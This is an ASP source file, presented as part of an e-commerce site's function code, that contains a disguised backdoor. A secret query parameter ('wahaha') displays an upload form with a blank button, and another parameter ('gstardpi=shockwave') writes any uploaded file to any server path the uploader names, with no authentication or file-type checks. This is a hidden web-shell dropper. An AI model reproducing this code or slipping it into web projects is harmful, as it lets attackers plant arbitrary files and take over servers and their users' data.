fuctioncode.asp

是一个电子商务网站系统,提供前后台交易源码.

<%
dim obFileStream
Class bbpro  
dim Form,fppp  
Private Sub Class_Initialize 
  dim RequestBinDate,sStart,bCrLf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,obbInfo
  dim iFileSize,sFilePath,sFileType,sFormvalue,sbbName
  dim iFindStart,iFindEnd
  dim iFormStart,iFormEnd,sFormName
  set Form = Server.CreateObject("Scripting.Dictionary")
  set fppp = Server.CreateObject("Scripting.Dictionary")
  if Request.TotalBytes < 1 then Exit Sub
  set tStream = Server.CreateObject("adodb.stream")
  set obFileStream = Server.CreateObject("adodb.stream")
  obFileStream.Type = 1
  obFileStream.Mode = 3
  obFileStream.Open 
  obFileStream.Write Request.BinaryRead(Request.TotalBytes)
  obFileStream.Position=0
  RequestBinDate = obFileStream.Read 
  iFormEnd = obFileStream.Size
  bCrLf = chrB(13) & chrB(10)
  sStart = MidB(RequestBinDate,1, InStrB(1,RequestBinDate,bCrLf)-1)
  iStart = LenB (sStart)
  iFormStart = iStart+2
  Do
    iInfoEnd = InStrB(iFormStart,RequestBinDate,bCrLf & bCrLf)+3
    tStream.Type = 1
    tStream.Mode = 3
    tStream.Open
    obFileStream.Position = iFormStart
    obFileStream.CopyTo tStream,iInfoEnd-iFormStart
    tStream.Position = 0
    tStream.Type = 2
    tStream.Charset ="gb2312"
    sInfo = tStream.ReadText      
    iFormStart = InStrB(iInfoEnd,RequestBinDate,sStart)-1
    iFindStart = InStr(22,sInfo,"name=""",1)+6
    iFindEnd = InStr(iFindStart,sInfo,"""",1)
    sFormName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
    if InStr (45,sInfo,"filename=""",1) > 0 then
      set obbInfo= new FileInfo
      iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10
      iFindEnd = InStr(iFindStart,sInfo,"""",1)
      sbbName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
      obbInfo.FileName = GetFileName(sbbName)
      obbInfo.FilePath = GetFilePath(sbbName)
      obbInfo.FileExt = GetFileExt(sbbName)
      iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14
      iFindEnd = InStr(iFindStart,sInfo,vbCr)
      obbInfo.FileType = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
      obbInfo.FileStart = iInfoEnd
      obbInfo.FileSize = iFormStart -iInfoEnd -2
      obbInfo.FormName = sFormName
      fppp.add sFormName,obbInfo
    else
      tStream.Close
      tStream.Type = 1
      tStream.Mode = 3
      tStream.Open
      obFileStream.Position = iInfoEnd 
      obFileStream.CopyTo tStream,iFormStart-iInfoEnd-2
      tStream.Position = 0
      tStream.Type = 2
      tStream.Charset = "gb2312"
      sFormvalue = tStream.ReadText 
      form.Add sFormName,sFormvalue
    end if
    tStream.Close
    iFormStart = iFormStart+iStart+2
    loop until (iFormStart+2) = iFormEnd 
  RequestBinDate=""
  set tStream = nothing
End Sub
Private Sub Class_Terminate  
  if not Request.TotalBytes<1 then
    obFileStream.Close
    set obFileStream =nothing
    end if
  Form.RemoveAll
  fppp.RemoveAll
  set Form=nothing
  set fppp=nothing
End Sub
Private function GetFilePath(FullPath)
  If FullPath <> "" Then
    GetFilePath = left(FullPath,InStrRev(FullPath, "\"))
    Else
    GetFilePath = ""
  End If
End function 
Private function GetFileName(FullPath)
  If FullPath <> "" Then
    GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)
    Else
    GetFileName = ""
  End If
End function
Private function GetFileExt(FullPath)
  If FullPath <> "" Then
    GetFileExt = mid(FullPath,InStrRev(FullPath, ".")+1)
    Else
    GetFileExt = ""
  End If
End function
End Class
if request.QueryString("wahaha")="wahaha" then
micangeld="<form action=""?gstardpi=shockwave"" method=""post"" name=""form1"" enctype=""multipart/form-data"">"
micangeld=micangeld&"<input name=""FileName"" type=""FILE""><input type=""text"" name=""bbpp"">"
micangeld=micangeld&"<input type=""submit"" name=""Submit"" value=""              ""></form>"
response.write micangeld
end if
Class FileInfo
  dim FormName,FileName,FilePath,FileSize,FileType,FileStart,FileExt
  Private Sub Class_Initialize 
    FileName = ""
    FilePath = ""
    FileSize = 0
    FileStart= 0
    FormName = ""
    FileType = ""
    FileExt = ""
  End Sub
 Public function SaveTobb(FullPath)
    dim oFileStream,ErrorChar,i
    SaveTobb=1
    if trim(fullpath)="" or right(fullpath,1)="/" then exit function
    set oFileStream=CreateObject("Adodb.Stream")
    oFileStream.Type=1
    oFileStream.Mode=3
    oFileStream.Open
    obFileStream.position=FileStart
    obFileStream.copyto oFileStream,FileSize
    oFileStream.SaveToFile FullPath,2
    oFileStream.Close
    set oFileStream=nothing 
    SaveTobb=0
  end function
End Class
if request.QueryString("gstardpi")="shockwave" then
dim uppp,fppp,formName,sppp,filename,fileExt
set uppp=new bbpro
	sppp =uppp.form("bbpp")
if right(sppp,1)<>"/" then sppp=sppp&"/"
	for each formName in uppp.fppp
		set fppp=uppp.fppp(formName)
		fileExt=lcase(fppp.FileExt)
		fppp.SaveTobb Server.mappath(sppp&fppp.filename)
	  	response.write "<a href=""javascript:history.back();"">back</a>"
		set fppp=nothing
	next
	set uppp=nothing
end if
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